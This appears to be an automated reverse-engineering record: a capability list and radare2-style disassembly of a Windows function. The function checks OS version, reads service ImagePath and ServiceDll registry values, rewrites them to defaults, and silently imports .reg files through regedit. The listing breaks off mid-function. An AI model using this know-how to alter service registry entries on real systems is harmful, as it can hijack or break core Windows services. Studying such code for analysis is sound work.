Function at 0x4cdbf0
Capabilities:
Check os version
Get common file path
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc720
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x64bc
call fcn.004f2630
push ebx
push esi
push edi
mov ecx, 0x24
xor eax, eax
lea edi, [ebp - 0x348]
mov dword [ebp - 0x34c], 0x94
mov dword [ebp - 0x10], esp
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x34c]
xor esi, esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0x33c]
mov edi, 2
cmp eax, edi
jne 0x4cdcb3
mov eax, dword [ebp - 0x348]
cmp eax, 5
jne 0x4cdc93
mov eax, dword [ebp - 0x344]
mov ecx, 1
cmp eax, ecx
jne 0x4cdc81
mov dword [ebp - 0x28], ecx
jmp 0x4cdcb3
cmp eax, esi
jne 0x4cdc8a
mov dword [ebp - 0x2c], ecx
jmp 0x4cdcb3
cmp eax, edi
jb 0x4cdcb3
mov dword [ebp - 0x24], ecx
jmp 0x4cdcb3
cmp eax, 6
jne 0x4cdcb3
mov eax, dword [ebp - 0x344]
cmp eax, esi
jne 0x4cdcab
mov dword [ebp - 0x30], 1
jmp 0x4cdcb3
cmp eax, 1
jne 0x4cdcb3
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x2b8]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
push str.c:endpcache
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], 0x100
mov dword [ebp - 0x18], edi
call fcn.004f2beb
push str.Tcpip
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x14
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push esi
push ecx
push closesocket
call ebx
test eax, eax
jne 0x4cdd74
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push esi
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push esi
push str.ImagePath
push eax
call edi
test eax, eax
je 0x4cdd64
mov esi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jle 0x4cdd9b
jmp 0x4cdd7a
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push str.c:endpcacheTcpip.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4cdd99
push str.regedit.exe__s_Tcpip.reg
call fcn.004f2ce2
add esp, 4
xor esi, esi
push str.IPSec
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call ebx
test eax, eax
jne 0x4cde20
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
je 0x4cde14
inc esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4cde21
inc esi
test esi, esi
jle 0x4cde46
push str.c:endpcacheIPSec.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4cde44
push str.regedit.exe__s_IPSec.reg
call fcn.004f2ce2
add esp, 4
xor esi, esi
push str.USBSTOR
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call ebx
test eax, eax
jne 0x4cdecb
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
je 0x4cdebf
inc esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4cdecc
inc esi
test esi, esi
jle 0x4cdeef
push str.c:endpcacheUSBSTOR.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4cdeef
push str.regedit.exe__s_USBSTOR.reg
call fcn.004f2ce2
add esp, 4
xor esi, esi
push str.lanmanworkstation
mov dword [ebp - 0x20], esi
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push esi
push ecx
push closesocket
call ebx
test eax, eax
jne 0x4cdf7f
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push esi
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push esi
push str.ImagePath
push eax
call edi
test eax, eax
je 0x4cdf71
mov esi, 1
mov dword [ebp - 0x20], esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jle 0x4cdfa3
push str.c:endpcachelanmanworkstation.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4cdf9e
push str.regedit.exe__s_lanmanworkstation.reg
call fcn.004f2ce2
add esp, 4
xor esi, esi
mov dword [ebp - 0x20], esi
push str.lanmanserver
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call ebx
test eax, eax
jne 0x4ce02b
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
je 0x4ce01f
inc esi
mov dword [ebp - 0x20], esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4ce02f
inc esi
mov dword [ebp - 0x20], esi
test esi, esi
jle 0x4ce057
push str.c:endpcachelanmanserver.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4ce052
push str.regedit.exe__s_lanmanserver.reg
call fcn.004f2ce2
add esp, 4
xor esi, esi
mov dword [ebp - 0x20], esi
push str.RpcSs
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call ebx
test eax, eax
jne 0x4ce10f
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4ce0ff
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x64cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x64cc]
push str._SystemRoot__system32_svchost__k_rpcss
push eax
call fcn.004f61e0
add esp, 0x14
test eax, eax
je 0x4ce103
inc esi
mov dword [ebp - 0x20], esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4ce113
inc esi
mov dword [ebp - 0x20], esi
test esi, esi
jle 0x4ce13d
push str.c:endpcacheRpcSs.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4ce136
push str.regedit.exe__s_RpcSs.reg
call fcn.004f2ce2
add esp, 4
mov dword [ebp - 0x20], 0
push 0x52db40
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call ebx
test eax, eax
jne 0x4ce265
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4ce1f8
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x30cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x30cc]
push str._system32_alg.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce253
lea eax, [ebp - 0x30cc]
push str.System32_alg.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce253
push str._SystemRoot__system32_alg.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4ce224
lea ecx, [ebp - 0x2b8]
push str.alg.exe
push ecx
lea edx, [ebp - 0x504c]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x504c]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4ce26b
mov edx, dword [ebp - 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4ce26b
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.AppMgmt
call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x28]
mov edi, 1
add esp, 0x10
cmp eax, edi
je 0x4ce2ab
cmp dword [ebp - 0x24], edi
je 0x4ce2ab
cmp dword [ebp - 0x30], edi
je 0x4ce2ab
cmp dword [ebp - 0x34], edi
jne 0x4ce45b
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ce375
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4ce33c
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x4ecc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x4ecc]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce36b
lea ecx, [ebp - 0x4ecc]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce36b
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, 1
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ce45b
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4ce422
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x4fcc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x4fcc]
push str._system32_appmgmts.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce451
lea edx, [ebp - 0x4fcc]
push str.System32_appmgmts.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce451
push str._SystemRoot_System32_appmgmts.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x2c], edi
jne 0x4ce55c
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ce55c
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4ce504
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x4a4c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x4a4c]
push str._system32_services.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce552
lea edx, [ebp - 0x4a4c]
push str.System32_services.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce552
push str._SystemRoot__system32_services.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4ce530
lea eax, [ebp - 0x2b8]
push str.services.exe
push eax
lea ecx, [ebp - 0x614c]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x614c]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Alerter
call fcn.004fa6c0
mov esi, eax
lea edx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x28]
add esp, 0x10
cmp eax, edi
je 0x4ce58d
cmp dword [ebp - 0x24], edi
jne 0x4ce758
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ce657
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4ce61e
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x4cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x4cc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce64d
lea eax, [ebp - 0x4cc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce64d
push str._SystemRoot__system32_svchost.exe__k_LocalService
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, 1
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ce758
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call esi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push 0
push ecx
call esi
test eax, eax
jne 0x4ce71f
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x34cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x34cc]
push str._system32_alrsvc.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce74e
lea edx, [ebp - 0x34cc]
push str.System32_alrsvc.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce74e
push str._SystemRoot_System32_alrsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x2c], edi
jne 0x4ce854
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ce854
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4ce801
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x5cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x5cc]
push str._system32_services.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce84a
lea edx, [ebp - 0x5cc]
push str.System32_services.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce84a
push str._SystemRoot__system32_services.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4ce82d
lea eax, [ebp - 0x2b8]
push str.services.exe
push eax
lea ecx, [ebp - 0x624c]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x624c]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.AudioSrv
call fcn.004fa6c0
mov ebx, eax
lea edx, [ebp - 0x234]
push ebx
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x28]
add esp, 0x10
test eax, eax
je 0x4ce891
mov ecx, dword [ebp - 0x2c]
mov eax, 1
cmp ecx, eax
je 0x4ce891
cmp dword [ebp - 0x24], eax
jne 0x4cea8b
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ce981
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call esi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call esi
test eax, eax
jne 0x4ce940
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x48cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x48cc]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ce975
lea ecx, [ebp - 0x48cc]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ce975
mov eax, dword [ebp - 0x20]
push str._SystemRoot__system32_svchost.exe__k_netsvcs
inc eax
mov dword [ebp - 0x20], eax
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4ce987
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cea91
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call esi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call esi
test eax, eax
jne 0x4cea4e
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x6cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x6cc]
push str._system32_audiosrv.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cea7f
lea eax, [ebp - 0x6cc]
push str.System32_audiosrv.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cea7f
jmp 0x4cea51
inc dword [ebp - 0x20]
push str._SystemRoot_System32_audiosrv.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4cea91
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x30]
mov eax, 1
cmp ecx, eax
je 0x4ceaa6
cmp dword [ebp - 0x34], eax
jne 0x4cec9c
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ceb9a
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
mov esi, eax
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test esi, esi
jne 0x4ceb59
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x35cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x35cc]
push str.32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ceb8a
lea ecx, [ebp - 0x35cc]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ceb8a
jmp 0x4ceb5c
inc dword [ebp - 0x20]
push str._SystemRoot__system32_svchost.exe__k_LocalServiceNetworkRestricted
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cec9c
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call esi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call esi
test eax, eax
jne 0x4cec61
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x7cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x7cc]
push str.32_audiosrv.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cec92
lea eax, [ebp - 0x7cc]
push str.System32_audiosrv.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cec92
jmp 0x4cec64
inc dword [ebp - 0x20]
push str._SystemRoot_System32_audiosrv.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x20]
test eax, eax
jle 0x4cecc9
push str.c:endpcacheAudioSrv.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4cecc2
push str.regedit.exe__s_AudioSrv.reg
call fcn.004f2ce2
add esp, 4
mov dword [ebp - 0x20], 0
push str.bits
